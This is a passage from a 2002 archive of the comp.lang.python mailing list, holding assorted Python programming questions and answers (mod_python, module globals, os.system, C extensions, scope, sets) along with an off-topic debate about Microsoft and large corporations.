Chong) Date: Mon, 13 May 2002 12:56:56 +0800 Subject: Call to gather more support for python from Industry leader... Message-ID: I guess it's time Python gained more recognition then it deserve since its inception in the 1990s. Python has been there since the time of many so called internet and system language such as Java , C++. It however is overshadow by Perl which has a large follower. Python as everyone using it will agree that Python is not overhype language like Java. But rather a low profile and immensely powerful OOP scripting language capable of accomplishing virtually any kind of job other then development of device driver and os. It is a friendly language and should not confined itself in a zoo. It should allow its usefulness to be known and spread. Many language come and go because of lack of marketing and awareness. But python amazingly able to gain recognition because of its 'attitude' I believe it's time we made effort in asking industry leader in supporting this unique and lively python. No language have ever made programming more fun and interactive as Python and still able to crank out useful program in a short time. It can be made as easy and as complex as one want it to be. And talking about ROI, nothing beat Python. Not java, c++ as they require more effort to learn and use. The following rapport is needed by these companies if Python is to gain more recognition and serious development. I believe a repertoire of establish tools could bring even more rapport to the python and I believe development tools companies could benefits from it. Visual Slickedit www.slickedit.com => A wonderful programmer editor that offer good support for python. What needed is the same level of support as JAVA. Such as more intelligent intellisence type of feature and a visual object browser and analysis tools and report tools. Together Control Center www.togethersoft.com => A fabulous UML tool whose claim to fame is the auto synchronization between object model and source code among those. It already using Python as scripting language however it does not support Python as the development language like Java. I believe it made much business sense to integrate support for python since it complement Java very well. PBuilder (If Borland consider the IDE for python) => Whose knows that this might be a money-spinner for Borland ?? P2EE, P2SE, P2ME (If sun take python as serious as Java, we might see various edition of python.) => This might contend with Java but in fact will help to propel to greater acceptance. In case, Java encountered problem, Python might need to do coverup for Java and save Sun's reputation and ass. More professional website such as the following (Do not attempt to find those site, cos it's yet to be up cos someone predict it will be up but does not know when . Only God knows(maybe someone can become that god ??) ) www.pythonworld.com www.pythonlobby.com www.pythonjournal.com www.pythonworld.com www.pythonmag.com www.python.sun.com www.python.microsoft.com I will like to see website ending with com since it mean Python has become immortal !! I awaiting the day and hope that will come before python in the world become extinct. thank From rnd at onego.ru Wed May 29 03:40:13 2002 From: rnd at onego.ru (Roman Suzi) Date: Wed, 29 May 2002 11:40:13 +0400 (MSD) Subject: mod_python and chunked transfer encoding problem Message-ID: Hello, I have the following problem with mod_python. This is how it is written in httpd.conf of Apache: AddHandler python-program .py PythonHandler mptest PythonDebug On This is a handler code (example of it): ---------------------------------------------------- from mod_python import apache import os data="""some data....""" def handler(req): f = open("/tmp/log-it", "a") f.write(str(dir(req))) f.write("\n") f.write(str(req.read())) # !problem! f.write("\n") f.close() req.send_http_header() req.write(data) return apache.OK ----------------------------------------------- When I am doing usual GET request to the URL: http://localhost/test/mptest.py it works fine. However, when I am trying to POST using transfer-encoding: chunked I am getting 411 error: chunked Transfer-Encoding forbidden: /test/mptest.py (When I do not try to req.read(), all is fine) I have no control on the client using "chunked", so I need a way to mod_python to read chunked body somehow... mod_php and usual CGI have the same problem (forbidden). My hope is that mod_python is more flexible. Maybe I am missing some obvious thing. Versions: Name : mod_python Version : 2.7.6 Vendor: Red Hat 7.2 Name : apache Version : 1.3.20 Vendor: Red Hat, Inc. Sincerely yours, Roman A.Suzi -- - Petrozavodsk - Karelia - Russia - mailto:rnd at onego.ru - From janto_d at hotmail.com Wed May 22 07:58:11 2002 From: janto_d at hotmail.com (Janto Dreijer) Date: 22 May 2002 04:58:11 -0700 Subject: Oberon in Python, ala Pyrex but instant compile? References: <3ce11bc3_4@goliath.newsgroups.com> Message-ID: "Brad Clements" wrote in message news:<3ce11bc3_4 at goliath.newsgroups.com>... > Brainstorming.. > > Pyrex looks very nice. I'm wondering if it'd be possible to use an Oberon-2 > compiler as the backend instead of GCC. > > The idea being that Oberon-2, on some (most?) OS's allows for very fast > dynamic compilation and loading. The Oberon compiler could be a Python > module that dynamically loads Pyrex "modules" and recompiles on the fly as > needed. > > I realize that dynamic loading is part of Oberon System, not really the > Oberon compiler itself. > > But I wondering if this is too crazy an idea or not. Have something like > Pyrex write Oberon code, run it through an Oberon compiler and dynamically > load the resulting module. > > Oberon is much smaller than GCC and runs just about anywhere. > > Crazy idea, or waste of time, or both? > > -- > Novell DeveloperNet Sysop #5 > I know this is an old post, but I feel that Oberon programmers need all the help they can get without being made fun of :-) If I remember correctly you also asked about running python ON oberon, in a previous post. I believe I have some authority on this subject (or at least "will") as we have just been given the taks of writing an interpreter for a butchered version of python as a CS project. It has already taken me 8h just to write the scanner/tokeniser. That's extremely long for the ammount of work involved. Most of the time was spent struggling with oberon's absence of a string type, incomplete (and faulty!) oo implementation and the oberon compiler(!) crashing with legal code. Oberon's extremely strict and archaic design makes a complete and bug-free interpreter almost impossible. I could keep on ranting (just ask) about oberon's flaws and why such a fork would actually waste a lot of development time that could have been used for jyhton or cpython, but I'm sure that just browsing oberon's internal libraries would dissuade even the most naive coder. :-) BTW If any of my fellow classmates post their versions I will kill them <0.0001 wink> From niemeyer at conectiva.com Fri May 10 16:00:36 2002 From: niemeyer at conectiva.com (Gustavo Niemeyer) Date: Fri, 10 May 2002 17:00:36 -0300 Subject: is there a better way... In-Reply-To: References: Message-ID: <20020510170036.B10978@ibook.distro.conectiva> > to loop over a list and replace an element based on its value than: > > x = [1,2,3,4,5,6,7,8,9] > y = len(x) > z = 0 > while z < y: > element = x[z] > if element == 5: x[z] = '678' > z = z +1 Sure! >>> x = [1,2,3,4,5,6,7,8,9] >>> y = 5 >>> z = '678' >>> [b for a in x for b in [[a, z][a==y]]] [1, 2, 3, 4, '678', 6, 7, 8, 9] ;-)) -- Gustavo Niemeyer [ 2AAC 7928 0FBF 0299 5EB5 60E2 2253 B29A 6664 3A0C ] From marcus1 at marcus1.de Sat May 11 12:05:35 2002 From: marcus1 at marcus1.de (Marcus Klein) Date: Sat, 11 May 2002 18:05:35 +0200 Subject: [Newbie Question] Matching directory content with variable References: Message-ID: Chris Liechti tasterte am Samstag, 11. Mai 2002 17:48 folgendes: >> fname = PATHTOFILE + f > > you should use os.path.join to make paths... Ok, i'll try it. >> lfiles = os.listdir(PATHTOFILE) > > listdir gives back a list of strings and you should call it > with a path to directory not with a file. Sorry, this was a bit misunderstanding, it's indeed a path to a dir. > what you realy want is os.path.exists(). Thanx. >> lfile = re.compile(f, re.M).match(lfiles, 1) > you don't need to use re.compile for that. there is re.match() > compile is useful when you store the compiled regex in a variable > when you use it often. I just changed it into 'search', because it's not at the beginning of that string. > the exception is because you feed a list to it and not a string. use > the appropriate functions (i.e. exists) from os.path and you don't > have to worry. Ok, i see, will change that. > you should use the functions from os and os.path to manupulate paths and > files. they save you from issues with '\' and '/', they work cross > platform and save you from a lot of trouble anyway. i just read the documentation of os.path and thank you alot, pointing me there :-) marcus -- sick nature ? From peter at engcorp.com Mon May 6 02:36:03 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 06 May 2002 02:36:03 -0400 Subject: Trying to use "Programming Python" (Lutz), getting module errors. References: <84773476.0205052134.8c1d533@posting.google.com> Message-ID: <3CD62453.95EBB7C@engcorp.com> Rob Lineberger wrote: > > I'm trying to learn Python, so I picked up Mark Lutz' Programming > Python. Using latest builds of Python and Pythonwin. > > print 'Hello world!' worked ok. > > As soon as I move on to page 13, Running Module Files, it breaks. I > opened up notepad and created a file called spam.py. When I try to > use it, pythonwin says no such module exists. What do you mean "use it"? I've never used PythonWin, so I hope I'm not steering you wrong, but I just used "File->Open" from the menu and opened a .py file from somewhere on my hard drive, then used "File->Run" and it worked. What did you try? -Peter From mfranklin1 at gatwick.westerngeco.slb.com Thu May 16 18:10:33 2002 From: mfranklin1 at gatwick.westerngeco.slb.com (Martin Franklin) Date: Thu, 16 May 2002 22:10:33 +0000 Subject: Leading zeroes problem In-Reply-To: <3ce41ce2_1@goliath2.newsgroups.com> References: <3ce41ce2_1@goliath2.newsgroups.com> Message-ID: <200205162110.g4GLAmX16950@helios.gatwick.geco-prakla.slb.com> On Thursday 16 May 2002 9:04 pm, jb wrote: > How do I get '00.0' from 0.0. I can say '%03d' % 0 but with floating point > numbers this does not work. I guess you could try the zfill string method.... >>> import string >>> n="0.0021" >>> string.zfill(n, 10) '00000.0021' From aleax at aleax.it Sun May 5 14:02:29 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 05 May 2002 18:02:29 GMT Subject: Global variables in different moduls References: <3cd56d91_1@goliath2.newsgroups.com> Message-ID: jb wrote: > I have a module globals.py, where I store som global variables, for > example the variable . So the first line of globals.py is > > x = None > > The module globals.h is imported in the module main.py and other.py (and Presumably you mean globals.py, not globals.h > in several other modules). > > Now when the main program starts in main.py, the first statement is > > x=3 > > but later in other.py still has the value None. Am I making a mistake > somewhere or is this normal? global variables are per-module: in all other modules except globals.py, you need to set globals' variables after import with globals.x = 3 and access them as globals.x. Don't use "from globals import ...", that would only make a "snapshot" copying things as of right now to your current namespace; use qualified-names globals.x etc throughout. Alex From python at rcn.com Wed May 29 11:24:14 2002 From: python at rcn.com (Raymond Hettinger) Date: Wed, 29 May 2002 11:24:14 -0400 Subject: create a tmp file for system execution References: <3CF4E711.8A175798@millfilm.co.uk> Message-ID: "Eric Texier" wrote in message news:3CF4E711.8A175798 at millfilm.co.uk... > I have a py script executing a bunch of os.system in a loop. > It is not very fast and I was wondering if it will not be better > to recreate a execution file. > > My 2 questions: > > 1) what is faster for a big number of call > > for i in range(1,2000): > os.system("ls F1.%d F2.%d" % ( i , i ) " ) > > OR > > fileOut = open("tmpFile",w) > for i in range(1,2000): > fileOut.write("ls F1.%d F2.%d" % ( i , i ) " ) > > fileOut.close() > os.system("csh -c 'source tmpFile' ") > os.system("rm -f tmpFile") I'm not sure what the overhead is for *nix world, but in the Windows world, the os.system launches a whole new command interpreter environment. It is very costly, so option two is much faster. > > > 2) if the second one is better I would like to kwo if there is any thing > > in python for temporary file, the drag being to if you do not come for > a specific naming mechanism, you file can be change by and other > process before it execute Is os.tmpfile() what you're looking for? Raymond Hettinger From phlip_cpp at yahoo.com Sat May 25 00:53:07 2002 From: phlip_cpp at yahoo.com (Phlip) Date: 25 May 2002 04:53:07 GMT Subject: inspect.trace() broke? Message-ID: Hypo Nt: Here's the line: f, file, lineno, fn_name, lines, n = inspect.trace()[-1] Here's the croak: Traceback (most recent call last): File "test_browser.py", line 244, in test_getDoc f, file, lineno, fn_name, lines, n = iz.trace()[-1] File "/usr/lib/python2.2/inspect.py", line 769, in trace return getinnerframes(sys.exc_traceback, context) AttributeError: 'module' object has no attribute 'exc_traceback' The version dumps: Linux sonse 2.4.3-20mdk #1 Sun Apr 15 23:03:10 CEST 2001 i586 unknown libpython2.2-2.2-9mdk pythonlib-1.28-1mdk python-2.2-9mdk ls -l sez: 30759 Feb 24 07:23 /usr/lib/python2.2/inspect.py inspect sez: __author__ = 'Ka-Ping Yee ' __date__ = '1 Jan 2001' I ain't gonna go in after this (the current need for inspect.trace is trivial), so I'l just report it here. Have a good one! -- Phlip http://www.greencheese.org/DontPlanDesigns -- Got in trouble at StarBucks. I tried to order "A double latte mocha and a body piercing." -- From andrew.gregory at npl.co.uk Tue May 28 05:42:52 2002 From: andrew.gregory at npl.co.uk (Andrew Gregory) Date: 28 May 2002 02:42:52 -0700 Subject: Passing complex numbers into C++ References: <2830c89c.0205270828.ea3406@posting.google.com> Message-ID: <2830c89c.0205280142.3e1148eb@posting.google.com> "Achim Domma" wrote in message news:... > Hi, > > do you know boost.python ? (www.boost.org) > > Achim > Achim, many thanks for the suggestion. I will give boost a look some time. In case anyone else is interested, the code was failing at Py_BuildValue as result must be passed by reference. The amended function below works ok. Andrew. // **** Wrapper **** PyObject *wrap_csqr(PyObject *self, PyObject *args) { Py_complex r, result; if (!PyArg_ParseTuple(args,"D:csqr", &r)) return NULL; result = csqr(r); return Py_BuildValue("D",&result); }; From jblazi at hotmail.com Fri May 24 07:43:06 2002 From: jblazi at hotmail.com (jb) Date: Fri, 24 May 2002 13:43:06 +0200 Subject: Iterating through two lists References: <3cee0ae6_1@news3.newsgroups.com> <3cee15ca$0$3878$e4fe514c@dreader4.news.xs4all.nl> Message-ID: <3cee23ca_2@news3.newsgroups.com> Boudewijn Rempt wrote: Thx. I designed a very simple input dialog and I had a list of QInputLines and a list of QValidators, so I thought I should set the validators of the input lines this way. -- Janos Blazi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsfeed.Com - Uncensored Usenet News ==---------- http://www.newsfeed.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =----- From kkto at csis.hku.hk Wed May 29 22:44:21 2002 From: kkto at csis.hku.hk (Isaac To) Date: 30 May 2002 10:44:21 +0800 Subject: Why no open(f, "w").write()? References: Message-ID: <7ielfu9wxm.fsf@enark.csis.hku.hk> >>>>> "Donn" == Donn Cave writes: Donn> I assume finalization will eventually occur in any case, if only Donn> at program exit, so this would only be an issue if the file is Donn> needed before then. No. Java explicitly says that finalization of objects are not necessarily done before program exits. That emulates an object with an infinite lifetime. Regards, Isaac. From msoulier at nortelnetworks.com_.nospam Tue May 21 13:33:35 2002 From: msoulier at nortelnetworks.com_.nospam (Michael P. Soulier) Date: 21 May 2002 17:33:35 GMT Subject: reading directory entries one by one Message-ID: Greetings. I'm aware that one can iterate over a directory's contents via the listdir() function in the os module. for file in os.listdir(dir): However, this does read in the entire directory into memory. As a C coder, I can opendir and readdir and iterate the directory file by file, in case sucking the entire thing into memory would be too resource intensive on large directories. Is there such an option for Python? Thanks, Mike -- Michael P. Soulier, QX41, SKY Tel: 613-765-4699 (ESN: 39-54699) Optical Networks, Nortel Networks, SDE Pegasus "...the word HACK is used as a verb to indicate a massive amount of nerd-like effort." -Harley Hahn, A Student's Guide to Unix From m.hadfield at niwa.co.nz Sun May 19 00:24:54 2002 From: m.hadfield at niwa.co.nz (Mark Hadfield) Date: Sun, 19 May 2002 16:24:54 +1200 Subject: Building Python on Cray T3E References: Message-ID: "Michael Hudson" wrote in message news:lk7km3p378.fsf at pc150.maths.bris.ac.uk... > Do you feel like drafting a new section for the README? I think the > Cray notes in there are a bit old. You might want to liase with > Konrad Hinsen about it, too. Sure. -- Mark Hadfield "Ka puwaha et tai nei, Hoea tatou" m.hadfield at niwa.co.nz National Institute for Water and Atmospheric Research (NIWA) From dalke at dalkescientific.com Fri May 3 18:46:13 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Fri, 3 May 2002 16:46:13 -0600 Subject: Python vs. Perl, which is better to learn? References: <82znzjsw6k.fsf@acropolis.localdomain> <6bdA8.54737$Au5.4014@atlpnn01.usenetserver.com> Message-ID: Brett g Porter: >BeOS was all C++, AFAIK. Certainly much of the Windows codebase is in C++ >now (never having seen the source, I can only guess). I made that statement once at a party. A Be kernel engineer friend of mine was there and corrected me. The kernel was nearly all C. (Most of the rest of it was C++.) Andrew dalke at dalkescientific.com From ods at fep.ru Fri May 17 07:41:57 2002 From: ods at fep.ru (Denis S. Otkidach) Date: Fri, 17 May 2002 15:41:57 +0400 (MSD) Subject: PEP 218 Re: ANN: set-0.1 module available In-Reply-To: <3CE4E7B4.36631728@cascade-sys.com> Message-ID: On Fri, 17 May 2002, James J. Besemer wrote: JJB> > That's to complex. Maybe sets should be always immutable JJB> like JJB> > tuples? JJB> JJB> Python has clear precedent for doing so, in that strings, JJB> tuples JJB> and long integers all are immutable. Following these traditions we should have 2 types for sets: one immutable but hashable (like tuple) and one mutable (like list). From tjreedy at udel.edu Wed May 29 13:18:07 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 29 May 2002 17:18:07 GMT Subject: multidimensional arrays from python to C References: Message-ID: "Chris Fonnesbeck" wrote in message news:c3835e5f.0205290827.2e7ede69 at posting.google.com... > I am embedding some python code in C, and need to be able to take a > multidim. array from python and assign its values to a global double > array in C. Can this python array simply be cast into a C double > type, and assigned to the array in question, or do I have to do a > multiple-nested loop to assign each element individually. Hope this > makes sense! > > For example, in C I have: > > double Fall[NA][NS][NG][NC][NP], where N* are constants > > and I have pulled in my python 5-dimensional array with: > > parray = (PyArrayObject *)(PyEval_CallObject(pmeth,pargs)); > > How do I get these values into Fall? In C terms, the Python array is an array of arrays of ... arrays of pointers to PyObjects containing float (double) values. So you would have to copy. Perhaps Numerical Python would be of assistance to you. TJR From emile at fenx.com Fri May 24 08:46:57 2002 From: emile at fenx.com (Emile van Sebille) Date: Fri, 24 May 2002 12:46:57 GMT Subject: Iterating through two lists References: <3cee0ae6_1@news3.newsgroups.com> <3cee2338_2@news3.newsgroups.com> Message-ID: <5DqH8.94866$UV4.177189@rwcrnsc54> jb > Thx. Have you read by any chance Paul Graham's article at > http://www.paulgraham.com/icad.html ? He makes a few remarks as to how > Python is not (yet) sufficient, if I understod correctly. I understood the point to be more that Python is not (yet) common lisp. -- Emile van Sebille emile at fenx.com --------- From theller at python.net Wed May 8 13:23:45 2002 From: theller at python.net (Thomas Heller) Date: Wed, 8 May 2002 19:23:45 +0200 Subject: Comments References: Message-ID: "Mark McEahern" wrote in message news:mailman.1020875534.17637.python-list at python.org... > [Sean 'Shaleh' Perry] > > Sure, but comments are basically free whereas the above creates > > an anonmymous string which has to be garbage collected. > > Good point! Thanks. > > By the way, in emacs with python mode, you can select a region and > comment/uncomment it. Commenting a block simply prepends ## to each line in > the block. Nifty! I know about comment-region, but how do I uncomment? Thomas From whisper at oz.net Sat May 11 03:55:12 2002 From: whisper at oz.net (David LeBlanc) Date: Sat, 11 May 2002 00:55:12 -0700 Subject: Scope in 2.2.1 Message-ID: The 2.2.1 Python doc in Appendix A1 says: "If a name binding operation occurs anywhere within a code block, all uses of the name within the block are treated as references to the current block. This can lead to errors when a name is used within a block before it is bound." def foo(): #block bar = 0 #binding bar now is a reference to foo? Somehow, I doubt that! My other question pertaining to this paragraph is: what errors can occur if a name is used before it's bound? My other question is illustrated by this code: >>> def foo(): ... bar = 0 ... bar2 = 0 ... def fee(): ... print bar ... bar2 += 1 ... print bar2 ... fee() ... >>> foo() 0 Traceback (most recent call last): File "", line 1, in ? File "", line 8, in foo File "", line 6, in fee UnboundLocalError: local variable 'bar2' referenced before assignment Is the bar in "print bar" the bar of foo(), or is it an unbound bar? Is foo.bar2 the bar2 in fee() or is it a new local fee.bar2? The traceback implies that the "print bar" statement used foo.bar, yet it blew up on incrementing bar2! (Note: the error reporting seems misleading, since "+=" is an assignment no?) Damn, it's friday evening - I should BE in a bar :-) David LeBlanc Seattle, WA USA From warlock at eskimo.com Sat May 4 13:45:30 2002 From: warlock at eskimo.com (Jim Richardson) Date: Sat, 4 May 2002 10:45:30 -0700 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> <3CD41962.57104BD7@acm.org> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sat, 04 May 2002 11:24:50 -0600, Robert George Mayer wrote: > Jim Richardson wrote: >> >> >> I am trying to get the math module to deal with degrees rather than >> radians. (that it deals with radians for the angular functions like >> sin() isn't mentioned in the docs, which was sort of an eyeopener :) I >> can't find any info on doing this. I can convert from-to degrees in the >> code calling the function, but that's a bit clunky. Any pointers to an >> FM to R? :) >> > Jim - > > All the math routines I have ever dealt with use radians. In > 30 years of dealing with this, in Fortran, C, C++ and Python, I > have found what works best for me is to use exclusively radians > internally and convert only where the user will see it - at the > GUI and with any text (not binary) files. (I think that this > works well, but may not be as natural with a command line program, > where the interface between the user and the program is so simple > to begin with.) In other words, I just consider the degrees/radians > conversion to be part of the interface between the user and the > program internals. > > I find that it help to curse the Babylonian astronomers while > putting all the conversions in place. > *chuckle* ok, sounds like the route to take. I don't have a lot of programming experience, and python is my first "real" language in the last 20 years. Assembly doesn't count in this context. do you have any good curses in Babylonian to share? :P -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE81B46d90bcYOAWPYRAmXfAJ9z4tItLXq/zVIq3Ef+uRIGgwJInACgxAkE mZnnk1NR8xJrrfN8dWsQX+k= =tXKl -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From gerhard at bigfoot.de Sat May 4 05:23:44 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 4 May 2002 09:23:44 GMT Subject: Using functional tools References: <3CD39DAD.D5BC3F9C@vip.fi> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Pekka Niiranen wrote in comp.lang.python: > I would like to feed every second (or 3rd or 4th .etc) item in a list to > a function. To just extract the 3rd element of a list of lists: def f(x): # ... l = [['a', 'b', 'c'], ['d', 'e', 'f']] print [f(x[2]) for x in l] I'm not sure if that's what you want. > [...] If I only manipulate every second line of a file with that > function, is there a faster way than reading the whole file into a > list?: > > list = open ("myfile.txt", "rb").readlines() Yes, just iterate over the file: def myTransformation(line): # ... # [Open outfile] for line in open("myfile.txt", "rb"): # The rstrip with parameters is only in Python CVS: line = myTransformation(line.rstrip("\r\n")) print >>outfile, line In pre-2.2 Pythons, use xreadlines on the file object to get lazy file reading behaviour. > **modify every 2nd line with set of functions** > ** write the whole list into a new file** > > The size of a file is max 2Mb. Then it won't make much of a difference on modern machines wether you use readlines or xreadlines. If you're trying to learn the functional stuff, you can also try to find out what the reduce(... line in my signature does ;-) Gerhard -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE806ifeyJldYarQ8ARAi7SAJsH3fC1BOfQdxn6mp5xuFJZ3yTVUgCgiVVG Y0Ageg/wqerTMShecD7faSw= =t6Mw -----END PGP SIGNATURE----- From menscher+python at uiuc.edu Tue May 21 03:19:36 2002 From: menscher+python at uiuc.edu (Damian Menscher) Date: Tue, 21 May 2002 07:19:36 GMT Subject: Q: going from tuple to comma-separated list? References: Message-ID: Laura Creighton wrote: > You want the apply function. In newer Pythons *plotdata will do, since > * is a synonym for apply, (and **plotdict if you wanted to pass in > a dictionary of name:value pairs). Many thanks to all who responded. I especially love this solution, since it means only one character change and my program works. ;) Damian Menscher -- -=#| Physics Grad Student & SysAdmin @ U Illinois Urbana-Champaign |#=- -=#| 488 LLP, 1110 W. Green St, Urbana, IL 61801 Ofc:(217)333-0038 |#=- -=#| 1429 DCL, Workstation Services Group, CITES Ofc:(217)244-3862 |#=- -=#| www.uiuc.edu/~menscher/ Fax:(217)333-9819 |#=- From Chris.Barker at noaa.gov Tue May 21 12:53:38 2002 From: Chris.Barker at noaa.gov (Chris Barker) Date: Tue, 21 May 2002 09:53:38 -0700 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> <3CE9C990.3064C01C@cascade-sys.com> <3CE9DEEE.96554CE2@tundraware.com> Message-ID: <3CEA7B5C.181E761C@noaa.gov> Tim Daneliuk wrote: > For me, the "sun rises and sets" on economic reality. Every single good > thing I possess materially is possible because some corporation, typically > large, thought they could make money providing it to me. Every thing? scary!! I have the art my daughter makes for me, etc. I suppose corporate influence is strong enough that one could argue that my daughter needs crayons made be some corporation to make that art, but it's a pretty sad way to think about the world! Besides, every BAD thing you possess is the product of a corporation, too. > Microsoft's existence and products has > been very good for me personally and my industry as a whole. In my view, they > are national treasure, warts and all... I'm not so sure about that at all. We only have one path that was followed. What would the computer industry look like if Bill Gates had been hit by a bus 20 years ago? Who knows? I suspect it would look better. What if MS had not dumped the OS/2 project with IBM ? we would have been running a powerfull stable OS all over the place long before winNT became useful. Where would office software be if MS had not leveraged their market power to dominate the market? Maybe we'd have an actual office software format standard, and a whole lot fewer systems being contaminated by MSOffice macro viruses. My point is that the the computer industry as a whole has done a lot of wonderful things, and MS has played a major role in it, but we have NO WAY of knowing what the industry would look like without MS. I suspect better, apparently you suspect worse, but neither of us have any idea. "James J. Besemer" wrote: > Like Intel, they're relentlessly competitive AND they take > a balanced view of running a business (paying attention to finance, > marketing, sales, strategic planning, HR and other functions in addition > to technology), which is the main reason they have been successful. Absolutely true. Unfortuantely, what this means is they are more in the business of making money than the business of making software, which results in not-so-good, but very saleable, software. > From a purely > meritocratic standpoint, they deserve to be where they are today. Only on the merit of running a business, and the ability to maintain a monopoly (Palm is an example of a company that couldn't figure out how to do that), not on their merit as software deveolpers. > There are other choices and you don't have to > use Microsoft products, but like it or not MS IS a big part of our reality > today and its likely to be around for the rest of our lives. Well, sure, but if I don't like it, I can do what I can to limit their influence. > What about IBM, who spends more in marketing > each year than MS grosses in revenue? What about Big Oil, controlling > about 10% of the GNP? By last count, 100% of US oil companies today are > direct descendants of Rockafeller's Standard Oil. I'm just as scared and unhappy about Big Oil (and Big Energy in general: anyone heard of Enron?), but that would be even more Off Topic in this newsgroup! > What about Big > Government? 20-25% of the GNP. The only thing that scares me about Big Government is that is is being controlled more and more by Big Corporations. -Chris -- Christopher Barker, Ph.D. Oceanographer NOAA/OR&R/HAZMAT (206) 526-6959 voice 7600 Sand Point Way NE (206) 526-6329 fax Seattle, WA 98115 (206) 526-6317 main reception Chris.Barker at noaa.gov From mark at mceahern.com Fri May 10 19:26:24 2002 From: mark at mceahern.com (Mark McEahern) Date: Fri, 10 May 2002 18:26:24 -0500 Subject: correct way to check for True in __builtins__? Message-ID: I want to check whether True is builtin and I thought I'd be clever by saying: if True not in __builtins__: True = bool(1) False = bool(0) of course, __builtins__ doesn't seem to be built to be accessed that way. http://mail.python.org/pipermail/pythonmac-sig/2001-April/003285.html I could also do: import sys # examine sys.version_info tuple, if it's less than 2, 2, 1... Or: if True in dir(__builtins__): ... Is there a preferred way to do this? Thanks, // mark From philh at nwlink.com Sun May 19 20:43:16 2002 From: philh at nwlink.com (Phil Hystad) Date: Sun, 19 May 2002 17:43:16 -0700 Subject: string module Message-ID: I have python on linux (suse) and the string.uppercase and string.lowercase values are a bit strange. For example, string.uppercase has the following values: ABCDEFGHIJKLMNOPQRSTUVWXYZ\xC0\xC1\xC2....\xCde And, lowercase has the same problem....plus, the string.letters has the values concatenated and there are two sets of these escaped hex codes. What is this all about? I was expected just the 26 letters. The length is not correct either: >>>len(string.uppercase) 56 >>> So, it reports a length of 56 instead of 26. I checked locale and it is correct for me (english). Is this a garbled module or a feature? phil From phd at phd.pp.ru Fri May 3 12:51:03 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Fri, 3 May 2002 20:51:03 +0400 Subject: high volume/speed gethostbyaddr how? In-Reply-To: ; from systhree@nospam.mailandnews.com on Fri, May 03, 2002 at 06:17:26PM +0200 References: Message-ID: <20020503205103.J22362@phd.pp.ru> On Fri, May 03, 2002 at 06:17:26PM +0200, Dan Polak wrote: > Gethostbyaddr blocks by default, this means that there is an appreciable > delay before it returns. > If you need to lookup a fair number of hostnames gethostbyaddr is much > too slow. > Using select or the asyncore library might be the way to do it, but I > don't really understand how to make that work. > What is a good way to retrieve the names for a 100 hosts within a few > seconds? GNU adns asynchronous DNS: http://www.gnu.org/software/adns/adns.html http://dustman.net/andy/python/adns-python Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From jim at publishingresources.com Mon May 6 11:57:14 2002 From: jim at publishingresources.com (Jim Abrams) Date: Mon, 06 May 2002 15:57:14 -0000 Subject: Slight irritation with try/finally indentation References: Message-ID: pinard at iro.umontreal.ca (Fran?ois Pinard) wrote in news:mailman.1019657853.14965.python-list at python.org: > Hello, people. > > There is something which I find slightly irritating with the > try/finally construct, and wonder if someone would not have a good > advice to offer. I guess it is very usual that one has, within a suite, > something like: > > [...] > setup() > process() > cleanup() > [...] > > with `cleanup' undoing the effect of `setup', more or less, really > seeing `setup()' and `cleanup()' as a kind of big parentheses around > `process()'. In a context where `process()' may raise exceptions, > `cleanup()' might be mandatory once `setup()' has completed, so one > rewrites the above as: > > [...] > setup() > try: > process() > finally: > cleanup() > [...] > > What I find irritating is that `cleanup()' is not aligned anymore with > `setup()', as it was originally, so we loose on the legibility of the > parenthetical idiom we wanted to stress. Surely, I may _not_ write: > > [...] > try: > setup() > process() > finally: > cleanup() > [...] > > despite it would look nicer, because if `setup()' fails, `cleanup()' > gets called when it should not have been. Resorting to tricks like: > > [...] > if True: > setup() > try: > process() > finally: > cleanup() > [...] > > is the only solution I see, but this is not much appealing either, > maybe the cure is not worse than the illness. I am not sure. Are > others on this list bothered with this issue? And if yes, what do you > choose to do? > setup() try: process() except: # or other exception handling pass cleanup() ? From aleax at aleax.it Wed May 8 02:08:04 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 08 May 2002 06:08:04 GMT Subject: sgmllib too slow References: <_FHB8.41355$YQ1.17953481@typhoon.southeast.rr.com> Message-ID: <8h3C8.14403$zW3.346467@news1.tin.it> Martin v. Loewis wrote: > "Stuart D. Gathman" writes: > >> What is the recommended way to make distutils override a standard >> python package with a drop-in replacement such this? > > The recommended way is not to attempt overriding standard Python > packages. Name them differently, instead. How would it help in the case in point? Say the new sgmllib has identical functionality to the one distributed with Python but is 10 times faster. Why _shouldn't_ I be able to install it instead of the distributed one? How would installing it under a different name help with all existing places (including in the standard library) that today "import sgmllib"? Alex From whisper at oz.net Thu May 23 14:19:43 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 23 May 2002 11:19:43 -0700 Subject: uspp In-Reply-To: <863cwh7dvj.fsf@mtu-net.ru> Message-ID: What is the error message? David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Timothey > Sent: Friday, May 24, 2002 8:41 > To: python-list at python.org > Subject: uspp > > > > In my work i use uspp module, for work with serial port under windows. > uspp (in windows) work with serial port via win32module. And i behold > that under Win98, WinMe uspp work 